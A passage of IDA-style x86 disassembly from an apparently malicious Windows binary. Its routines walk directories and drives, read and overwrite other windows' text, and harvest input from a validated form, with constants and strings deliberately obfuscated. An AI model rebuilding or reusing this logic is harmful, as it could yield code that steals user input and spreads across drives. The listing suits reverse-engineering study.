		cmp	[ebp+var_112], 2Eh
		jz	loc_43D4A4
		push	offset dword_44E4A4
		call	sub_43AC82
		lea	edx, [ebp+var_112]
		push	edx
		push	esi
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_44C810
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_43D16C
		add	esp, 20h
		jmp	short loc_43D4A4
; ---------------------------------------------------------------------------


loc_43D435:				; CODE XREF: sub_43D16C+33Aj
		lea	eax, [ebp+var_13E]
		push	eax
		push	ebx
		call	ds:dword_447FB4	; FindNextFileA
		mov	edi, eax
		or	edi, edi
		jnz	short loc_43D466
		mov	eax, [ebp+var_248]
		add	eax, ds:dword_44C818
		push	eax
		call	ds:dword_44C80C
		pop	ecx
		push	ebx
		call	ds:dword_4495BC	; FindClose
		jmp	short loc_43D4A8
; ---------------------------------------------------------------------------


loc_43D466:				; CODE XREF: sub_43D16C+2DBj
		cmp	[ebp+var_112], 2Eh
		jz	short loc_43D4A4
		push	offset byte_44E49B
		call	sub_43AC82
		lea	edx, [ebp+var_112]
		push	edx
		push	esi
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_44C810
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_43D16C
		add	esp, 20h


loc_43D4A4:				; CODE XREF: sub_43D16C+28Cj
					; sub_43D16C+2C7j ...
		or	edi, edi
		jnz	short loc_43D435


loc_43D4A8:				; CODE XREF: sub_43D16C+27Fj
					; sub_43D16C+2F8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D16C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D4AD	proc near		; CODE XREF: sub_43AB3B+137p
					; sub_43D4AD+27Cp ...

var_26C		= dword	ptr -26Ch
var_268		= byte ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= word ptr -258h
var_256		= word ptr -256h
var_252		= word ptr -252h
var_250		= word ptr -250h
var_24E		= word ptr -24Eh
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	0
		call	ds:dword_44C80C
		xor	ebx, ebx
		inc	ebx
		push	offset byte_44E493
		call	sub_43AC82
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_44C810
		add	esp, 14h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_44A21C	; FindFirstFileA
		mov	[ebp+var_248], eax
		mov	ecx, dword_44D230
		sub	ecx, 6
		neg	ecx
		cmp	eax, ecx
		jnz	loc_43D6DD
		mov	eax, dword_44D1C8
		sub	eax, 2
		cmp	[ebp+arg_20], eax
		ja	loc_43D7A6
		mov	eax, dword_44D208
		add	eax, 3FAh
		cmp	[ebp+arg_24], eax
		jnb	short loc_43D54C
		movsx	eax, word_44D144
		mov	edx, dword_44D16C
		lea	eax, [eax+edx+99h]
		cmp	[ebp+arg_24], eax
		jnz	loc_43D7A6


loc_43D54C:				; CODE XREF: sub_43D4AD+80j
		movsx	eax, word_44D120
		add	eax, 30D37h
		cmp	[ebp+arg_24], eax
		ja	loc_43D7A6
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	ds:dword_44C960	; CompareFileTime
		mov	[ebp+var_260], eax
		movsx	eax, word_44D12C
		add	eax, dword_44D104
		sub	eax, 0Ch
		cmp	[ebp+var_260], eax
		jge	short loc_43D59A
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_18]
		movsd
		movsd
		jmp	short loc_43D5A5
; ---------------------------------------------------------------------------


loc_43D59A:				; CODE XREF: sub_43D4AD+DEj
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_8]
		movsd
		movsd


loc_43D5A5:				; CODE XREF: sub_43D4AD+EBj
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	ds:dword_44C958	; FileTimeToSystemTime
		mov	eax, dword_44D24C
		mov	edx, dword_44D17C
		mov	ecx, dword_44D0BC
		mov	[ebp+var_26C], ecx
		movzx	esi, [ebp+var_24E]
		movzx	edi, [ebp+var_250]
		movsx	ecx, word_44D1B8
		lea	eax, [eax+ecx+2Eh]
		mov	ecx, edi
		imul	ecx, eax
		mov	eax, esi
		add	eax, ecx
		movzx	ecx, [ebp+var_252]
		mov	esi, dword_44D1D0
		lea	edx, [edx+esi+0Ah]
		imul	ecx, edx
		movsx	edx, word_44D0E4
		mov	esi, [ebp+var_26C]
		lea	edx, [edx+esi+38h]
		imul	ecx, edx
		add	eax, ecx
		movzx	edx, [ebp+var_256]
		mov	ecx, dword_44D1C8
		add	ecx, 1Ch
		imul	edx, ecx
		movsx	ecx, word_44D090
		add	ecx, 13h
		imul	edx, ecx
		mov	ecx, dword_44D214
		add	ecx, 3Bh
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_258]
		mov	ecx, dword_44D1A0
		lea	ecx, [esi+ecx+0Ah]
		imul	edx, ecx
		mov	ecx, dword_44D0FC
		add	ecx, 17h
		imul	edx, ecx
		mov	ecx, dword_44D24C
		add	ecx, 0Fh
		imul	edx, ecx
		mov	ecx, dword_44D17C
		add	ecx, 33h
		imul	edx, ecx
		add	eax, edx
		mov	[ebp+var_25C], eax
		mov	edx, ds:dword_446028
		cmp	eax, edx
		ja	loc_43D7A6
		sub	edx, eax
		mov	eax, dword_44D238
		add	eax, 0Bh
		cmp	edx, eax
		jnb	loc_43D7A6
		mov	eax, dword_44D19C
		add	eax, 9Bh
		cmp	[ebp+arg_24], eax
		jz	short loc_43D6CB
		push	0
		push	[ebp+arg_0]
		call	sub_43EB7A
		add	esp, 8
		jmp	loc_43D7A6
; ---------------------------------------------------------------------------


loc_43D6CB:				; CODE XREF: sub_43D4AD+20Aj
		push	1
		push	[ebp+arg_0]
		call	sub_43EB7A
		add	esp, 8
		jmp	loc_43D7A6
; ---------------------------------------------------------------------------


loc_43D6DD:				; CODE XREF: sub_43D4AD+5Cj
		cmp	[ebp+var_112], 2Eh
		jz	loc_43D7A2
		push	offset word_44E48A
		call	sub_43AC82
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_44C810
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43D4AD
		add	esp, 158h
		jmp	short loc_43D7A2
; ---------------------------------------------------------------------------


loc_43D736:				; CODE XREF: sub_43D4AD+2F7j
		lea	eax, [ebp+var_13E]
		push	eax
		push	[ebp+var_248]
		call	ds:dword_447FB4	; FindNextFileA
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_43D7A6
		cmp	[ebp+var_112], 2Eh
		jz	short loc_43D7A2
		push	offset byte_44E481
		call	sub_43AC82
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_44C810
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43D4AD
		add	esp, 158h


loc_43D7A2:				; CODE XREF: sub_43D4AD+237j
					; sub_43D4AD+287j ...
		or	ebx, ebx
		jnz	short loc_43D736


loc_43D7A6:				; CODE XREF: sub_43D4AD+6Dj
					; sub_43D4AD+99j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D4AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D7AB	proc near		; CODE XREF: sub_43A6D4+62p

var_1010	= byte ptr -1010h
var_100C	= byte ptr -100Ch
var_1003	= byte ptr -1003h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_445950
		push	ebx
		push	esi
		push	edi
		push	offset byte_44E46F
		call	sub_43AC82
		pop	ecx
		push	0
		push	eax
		push	0
		push	[ebp+arg_0]
		call	ds:dword_44C814	; FindWindowExA
		mov	edi, eax
		or	edi, edi
		jnz	short loc_43D7DD
		mov	edi, [ebp+arg_0]


loc_43D7DD:				; CODE XREF: sub_43D7AB+2Dj
		push	offset byte_44E459
		call	sub_43AC82
		pop	ecx
		push	0
		push	eax
		push	0
		push	edi
		call	ds:dword_44C814	; FindWindowExA
		mov	edi, eax
		lea	eax, [ebp+var_FFF]
		push	eax
		push	0FFFh
		push	0Dh
		push	edi
		call	ds:dword_446014	; SendMessageA
		mov	eax, dword_44D0D4
		cmp	[ebp+eax+var_FFF], 20h
		jnz	short loc_43D836
		mov	eax, dword_44D108
		movsx	edx, word_44D1DC
		add	eax, edx
		cmp	[ebp+eax+var_1010], 20h
		jz	loc_43D8E5


loc_43D836:				; CODE XREF: sub_43D7AB+6Dj
		mov	eax, dword_44D17C
		add	eax, dword_44D1B4
		cmp	[ebp+eax+var_100C], 68h
		jnz	short loc_43D85E
		mov	eax, dword_44D0AC
		cmp	[ebp+eax+var_1003], 74h
		jz	loc_43D8E5


loc_43D85E:				; CODE XREF: sub_43D7AB+9Ej
		lea	ecx, [ebp+var_FFF]
		or	eax, 0FFFFFFFFh


loc_43D867:				; CODE XREF: sub_43D7AB+C1j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D867
		mov	ebx, dword_44D16C
		add	ebx, 6
		add	ebx, dword_44D1AC
		cmp	eax, ebx
		jb	short loc_43D8E5
		push	offset dword_44E454
		call	sub_43AC82
		mov	esi, dword_44D09C
		add	esi, 3
		push	esi
		push	eax
		lea	esi, [ebp+var_FFF]
		push	esi
		call	sub_444D98
		add	esp, 10h
		movsx	ebx, word_44D21C
		mov	edx, dword_44D1E0
		lea	ebx, [ebx+edx+0FFF8h]
		cmp	eax, ebx
		jnz	short loc_43D8E5
		push	offset word_44E44E
		call	sub_43AC82
		pop	ecx
		push	eax
		mov	esi, dword_44D0DC
		movsx	ebx, word_44D204
		add	esi, ebx
		sub	esi, 6
		push	esi
		push	0Ch
		push	edi
		call	ds:dword_446014	; SendMessageA


loc_43D8E5:				; CODE XREF: sub_43D7AB+85j
					; sub_43D7AB+ADj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D7AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D8EA	proc near		; DATA XREF: sub_43BE21+EE3o
					; sub_43BE21+F33o ...

var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_219		= byte ptr -219h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_10C		= byte ptr -10Ch
var_106		= byte ptr -106h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		cmp	eax, 100h
		jz	short loc_43D91B
		jl	loc_43DE70
		cmp	eax, 111h
		jz	loc_43D9B0
		jmp	loc_43DE70
; ---------------------------------------------------------------------------


loc_43D91B:				; CODE XREF: sub_43D8EA+19j
		cmp	[ebp+arg_8], 9
		jnz	loc_43DE70
		mov	edi, dword_44D1C4
		dec	edi
		jmp	short loc_43D999
; ---------------------------------------------------------------------------


loc_43D92E:				; CODE XREF: sub_43D8EA+BFj
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_208], eax
		cmp	ds:dword_44A550[eax], esi
		jnz	short loc_43D963
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		push	ds:dword_44A554[eax]
		call	ds:dword_4499FC	; SetFocus
		jmp	loc_43DE70
; ---------------------------------------------------------------------------


loc_43D963:				; CODE XREF: sub_43D8EA+58j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		cmp	ds:dword_44A554[eax], esi
		jnz	short loc_43D998
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_210], eax
		push	ds:dword_44A558[eax]
		call	ds:dword_4499FC	; SetFocus
		jmp	loc_43DE70
; ---------------------------------------------------------------------------


loc_43D998:				; CODE XREF: sub_43D8EA+8Dj
		inc	edi


loc_43D999:				; CODE XREF: sub_43D8EA+42j
		mov	eax, dword_44D1A8
		add	eax, 58h
		add	eax, dword_44D22C
		cmp	edi, eax
		jb	short loc_43D92E
		jmp	loc_43DE70
; ---------------------------------------------------------------------------


loc_43D9B0:				; CODE XREF: sub_43D8EA+26j
		mov	edi, dword_44D0C8
		sub	edi, 2
		jmp	short loc_43D9D5
; ---------------------------------------------------------------------------


loc_43D9BB:				; CODE XREF: sub_43D8EA+F5j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_208], eax
		mov	eax, ds:dword_44A55C[eax]
		cmp	[ebp+arg_C], eax
		jz	short loc_43D9E1
		inc	edi


loc_43D9D5:				; CODE XREF: sub_43D8EA+CFj
		mov	eax, dword_44D224
		add	eax, 5Fh
		cmp	edi, eax
		jb	short loc_43D9BB


loc_43D9E1:				; CODE XREF: sub_43D8EA+E8j
		mov	eax, dword_44D094
		add	eax, 62h
		cmp	edi, eax
		jz	loc_43DE70
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		push	ds:dword_44A548[eax]
		call	ds:dword_44CD88	; GetWindowTextA
		mov	eax, dword_44D17C
		add	eax, dword_44D09C
		mov	byte ptr [ebp+eax+var_210+2], 4Bh
		mov	eax, dword_44D0E0
		mov	edx, dword_44D1F4
		add	edx, dword_44D0A4
		sub	edx, 0Ch
		mov	byte ptr [ebp+eax+var_208+3], dl
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_446024
		add	esp, 8
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_210], eax
		push	ds:dword_44A550[eax]
		call	ds:dword_44CD88	; GetWindowTextA
		movsx	eax, word_44D194
		movsx	eax, [ebp+eax+var_10C]
		movsx	edx, word_44D120
		movsx	ecx, word_44D164
		add	edx, ecx
		sub	edx, 0Dh
		cmp	eax, edx
		jnz	short loc_43DAF0
		push	offset byte_44E42B
		call	sub_43AC82
		pop	ecx
		mov	edx, dword_44D188
		movsx	ecx, word_44D0E4
		add	edx, ecx
		sub	edx, 0Bh
		push	edx
		push	0
		push	eax
		push	0
		call	ds:dword_44C820	; MessageBoxA
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_214], eax
		push	ds:dword_44A550[eax]
		call	ds:dword_4499FC	; SetFocus
		jmp	loc_43DE70
; ---------------------------------------------------------------------------


loc_43DAF0:				; CODE XREF: sub_43D8EA+1BCj
		push	offset word_44E426
		call	sub_43AC82
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_446024
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_446024
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_214], eax
		push	ds:dword_44A554[eax]
		call	ds:dword_44CD88	; GetWindowTextA
		mov	eax, dword_44D1E0
		movsx	edx, word_44D12C
		add	eax, edx
		movsx	eax, [ebp+eax+var_10C]
		mov	edx, dword_44D1EC
		sub	edx, 6
		cmp	eax, edx
		jnz	short loc_43DBA8
		push	offset dword_44E404
		call	sub_43AC82
		pop	ecx
		movsx	edx, word_44D21C
		sub	edx, 6
		push	edx
		push	0
		push	eax
		push	0
		call	ds:dword_44C820	; MessageBoxA
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_218], eax
		push	ds:dword_44A554[eax]
		call	ds:dword_4499FC	; SetFocus
		jmp	loc_43DE70
; ---------------------------------------------------------------------------


loc_43DBA8:				; CODE XREF: sub_43D8EA+27Cj
		push	offset byte_44E3FF
		call	sub_43AC82
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_446024
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_446024
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_218], eax
		push	ds:dword_44A558[eax]
		call	ds:dword_44CD88	; GetWindowTextA
		movsx	eax, word_44D1F0
		add	eax, dword_44D09C
		movsx	eax, [ebp+eax+var_106]
		movsx	edx, word_44D110
		cmp	eax, edx
		jz	loc_43DD4F
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_43DC2A:				; CODE XREF: sub_43D8EA+345j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43DC2A
		movsx	ecx, word_44D180
		sub	ecx, 1
		cmp	eax, ecx
		jb	loc_43DD4F
		mov	eax, dword_44D248
		add	eax, dword_44D0E0
		sub	eax, 2
		mov	[ebp+var_105], al
		jmp	short loc_43DC7B
; ---------------------------------------------------------------------------


loc_43DC59:				; CODE XREF: sub_43D8EA+3AAj
		movzx	eax, [ebp+var_105]
		mov	al, [ebp+eax+var_103]
		cmp	al, 30h
		jl	short loc_43DC6F
		cmp	al, 39h
		jle	short loc_43DC74


loc_43DC6F:				; CODE XREF: sub_43D8EA+37Fj
		jmp	loc_43DD4F
; ---------------------------------------------------------------------------


loc_43DC74:				; CODE XREF: sub_43D8EA+383j
		add	[ebp+var_105], 1


loc_43DC7B:				; CODE XREF: sub_43D8EA+36Dj
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_43DC84:				; CODE XREF: sub_43D8EA+39Fj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43DC84
		movzx	ecx, [ebp+var_105]
		cmp	ecx, eax
		jb	short loc_43DC59
		movsx	eax, word_44D11C
		add	eax, dword_44D22C
		sub	eax, 8
		mov	[ebp+var_104], al
		jmp	short loc_43DD2B
; ---------------------------------------------------------------------------


loc_43DCAE:				; CODE XREF: sub_43D8EA+45Aj
		mov	al, [ebp+var_104]
		mov	[ebp+var_219], al
		jmp	short loc_43DCE5
; ---------------------------------------------------------------------------


loc_43DCBC:				; CODE XREF: sub_43D8EA+414j
		movzx	eax, [ebp+var_219]
		movsx	eax, [ebp+eax+var_103]
		movzx	edx, [ebp+var_104]
		movsx	edx, [ebp+edx+var_103]
		cmp	eax, edx
		jnz	short loc_43DD00
		add	[ebp+var_219], 1


loc_43DCE5:				; CODE XREF: sub_43D8EA+3D0j
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_43DCEE:				; CODE XREF: sub_43D8EA+409j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43DCEE
		movzx	ecx, [ebp+var_219]
		cmp	ecx, eax
		jb	short loc_43DCBC


loc_43DD00:				; CODE XREF: sub_43D8EA+3F2j
		movzx	eax, [ebp+var_219]
		movzx	edx, [ebp+var_104]
		sub	eax, edx
		movsx	edx, word_44D0B8
		add	edx, dword_44D1A0
		sub	edx, 6
		cmp	eax, edx
		jg	short loc_43DD4F
		add	[ebp+var_104], 1


loc_43DD2B:				; CODE XREF: sub_43D8EA+3C2j
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_43DD34:				; CODE XREF: sub_43D8EA+44Fj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43DD34
		movzx	ecx, [ebp+var_104]
		cmp	ecx, eax
		jb	loc_43DCAE
		jmp	loc_43DDE9
; ---------------------------------------------------------------------------


loc_43DD4F:				; CODE XREF: sub_43D8EA+331j
					; sub_43D8EA+353j ...
		mov	eax, dword_44D24C
		add	eax, 7BEh
		add	eax, dword_44D108
		push	eax
		call	ds:dword_44C80C
		push	offset word_44E3C6
		call	sub_43AC82
		mov	[ebp-21Ch], eax
		push	offset byte_44E3AF
		call	sub_43AC82
		mov	edx, dword_44D1BC
		add	edx, dword_44D234
		sub	edx, 6
		push	edx
		push	eax
		mov	edx, [ebp-21Ch]
		push	edx
		push	0
		call	ds:dword_44C820	; MessageBoxA
		push	offset byte_44E3AB
		call	sub_43AC82
		add	esp, 10h
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_220], eax
		mov	edx, eax
		push	ds:dword_44A558[edx]
		call	ds:dword_44C834	; SetWindowTextA
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_224], eax
		push	ds:dword_44A558[eax]
		call	ds:dword_4499FC	; SetFocus
		jmp	loc_43DE70
; ---------------------------------------------------------------------------


loc_43DDE9:				; CODE XREF: sub_43D8EA+460j
		push	offset word_44E3A6
		call	sub_43AC82
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_446024
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_446024
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_228], eax
		push	ds:dword_44A548[eax]
		call	ds:dword_44A1E8	; DestroyWindow
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_447000
		add	esp, 18h
		push	5
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_22C], eax
		push	ds:dword_44A544[eax]
		call	ds:dword_44C838	; ShowWindow
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_230], eax
		and	ds:dword_44A540[eax], 0


loc_43DE70:				; CODE XREF: sub_43D8EA+1Bj
					; sub_43D8EA+2Cj ...
		mov	edi, dword_44D104
		sub	edi, 4
		jmp	loc_43DF52
; ---------------------------------------------------------------------------


loc_43DE7E:				; CODE XREF: sub_43D8EA+672j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_8], eax
		cmp	esi, ds:dword_44A550[eax]
		jnz	short loc_43DEB5
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_C], eax
		push	ds:dword_44A560[eax]
		call	ds:dword_44C7DC	; CallWindowProcA
		jmp	loc_43DF62
; ---------------------------------------------------------------------------


loc_43DEB5:				; CODE XREF: sub_43D8EA+5A5j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_10], eax
		cmp	esi, ds:dword_44A554[eax]
		jnz	short loc_43DEE9
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_14], eax
		push	ds:dword_44A564[eax]
		call	ds:dword_44C7DC	; CallWindowProcA
		jmp	short loc_43DF62
; ---------------------------------------------------------------------------


loc_43DEE9:				; CODE XREF: sub_43D8EA+5DCj
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_18], eax
		cmp	esi, ds:dword_44A558[eax]
		jnz	short loc_43DF1D
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_1C], eax
		push	ds:dword_44A568[eax]
		call	ds:dword_44C7DC	; CallWindowProcA
		jmp	short loc_43DF62
; ---------------------------------------------------------------------------


loc_43DF1D:				; CODE XREF: sub_43D8EA+610j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20], eax
		cmp	esi, ds:dword_44A54C[eax]
		jnz	short loc_43DF51
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_24], eax
		push	ds:dword_44A56C[eax]
		call	ds:dword_44C7DC	; CallWindowProcA
		jmp	short loc_43DF62
; ---------------------------------------------------------------------------


loc_43DF51:				; CODE XREF: sub_43D8EA+644j
		inc	edi


loc_43DF52:				; CODE XREF: sub_43D8EA+58Fj
		mov	eax, dword_44D184
		add	eax, 63h
		cmp	edi, eax
		jb	loc_43DE7E


loc_43DF62:				; CODE XREF: sub_43D8EA+5C6j
					; sub_43D8EA+5FDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_43D8EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DF69	proc near		; CODE XREF: sub_44318C+D9p
					; sub_44318C+116p ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 2Bh
		mov	edx, 2FA0BE83h
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44D0A8
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_43DFA4
		mov	eax, 65h
		jmp	short loc_43E020
; ---------------------------------------------------------------------------


loc_43DFA4:				; CODE XREF: sub_43DF69+32j
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44D094
		dec	edx
		cmp	eax, edx
		jnz	short loc_43DFBA
		mov	eax, 79h
		jmp	short loc_43E020
; ---------------------------------------------------------------------------


loc_43DFBA:				; CODE XREF: sub_43DF69+48j
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44D0AC
		add	edx, dword_44D198
		sub	edx, 0Ch
		cmp	eax, edx
		jnz	short loc_43DFD8
		mov	eax, 75h
		jmp	short loc_43E020
; ---------------------------------------------------------------------------


loc_43DFD8:				; CODE XREF: sub_43DF69+66j
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44D1B0
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_43DFF0
		mov	eax, 69h
		jmp	short loc_43E020
; ---------------------------------------------------------------------------


loc_43DFF0:				; CODE XREF: sub_43DF69+7Ej
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_44D1F0
		add	edx, 2
		cmp	eax, edx
		jnz	short loc_43E009
		mov	eax, 6Fh
		jmp	short loc_43E020
; ---------------------------------------------------------------------------


loc_43E009:				; CODE XREF: sub_43DF69+97j
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_44D148
		add	edx, 5
		cmp	eax, edx
		jnz	short loc_43E020
		mov	eax, 61h


loc_43E020:				; CODE XREF: sub_43DF69+39j
					; sub_43DF69+4Fj ...
		pop	edi
		pop	ebx
		leave
		retn
sub_43DF69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E024	proc near		; CODE XREF: sub_43F09C+BCp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	8000h
		mov	eax, dword_44D14C
		sub	eax, 8
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44B804	; VirtualFree
		pop	ebp
		retn
sub_43E024	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_43E040	proc near		; DATA XREF: sub_43A39F+2BDo

var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, 43h
		jmp	short loc_43E059
; ---------------------------------------------------------------------------


loc_43E050:				; CODE XREF: sub_43E040+1Cj
		and	ds:dword_44C970[esi*4],	0
		inc	esi


loc_43E059:				; CODE XREF: sub_43E040+Ej
		cmp	esi, 5Ah
		jbe	short loc_43E050


loc_43E05E:				; CODE XREF: sub_43E040+19Cj
		mov	edi, 43h
		jmp	loc_43E1C1
; ---------------------------------------------------------------------------


loc_43E068:				; CODE XREF: sub_43E040+184j
		mov	eax, dword_44D15C
		movsx	edx, word_44D160
		add	eax, edx
		sub	eax, 6
		push	eax
		call	ds:dword_44C80C
		push	offset word_44E39E
		call	sub_43AC82
		push	edi
		push	eax
		lea	ebx, [ebp+var_E]
		push	ebx
		call	ds:dword_44C810
		add	esp, 14h
		cmp	ds:dword_44C970[edi*4],	0
		jz	short loc_43E0DD
		mov	eax, dword_44D244
		sub	eax, 9
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ds:dword_44C970[edi*4]
		call	ds:dword_44C82C	; GetExitCodeThread
		cmp	[ebp+var_14], 103h
		jz	short loc_43E0DD
		push	ds:dword_44C970[edi*4]
		call	ds:dword_44B82C	; CloseHandle
		and	ds:dword_44C970[edi*4],	0


loc_43E0DD:				; CODE XREF: sub_43E040+61j
					; sub_43E040+86j
		lea	eax, [ebp+var_E]
		push	eax
		call	ds:dword_44C844	; GetDriveTypeA
		mov	[ebp+var_4], eax
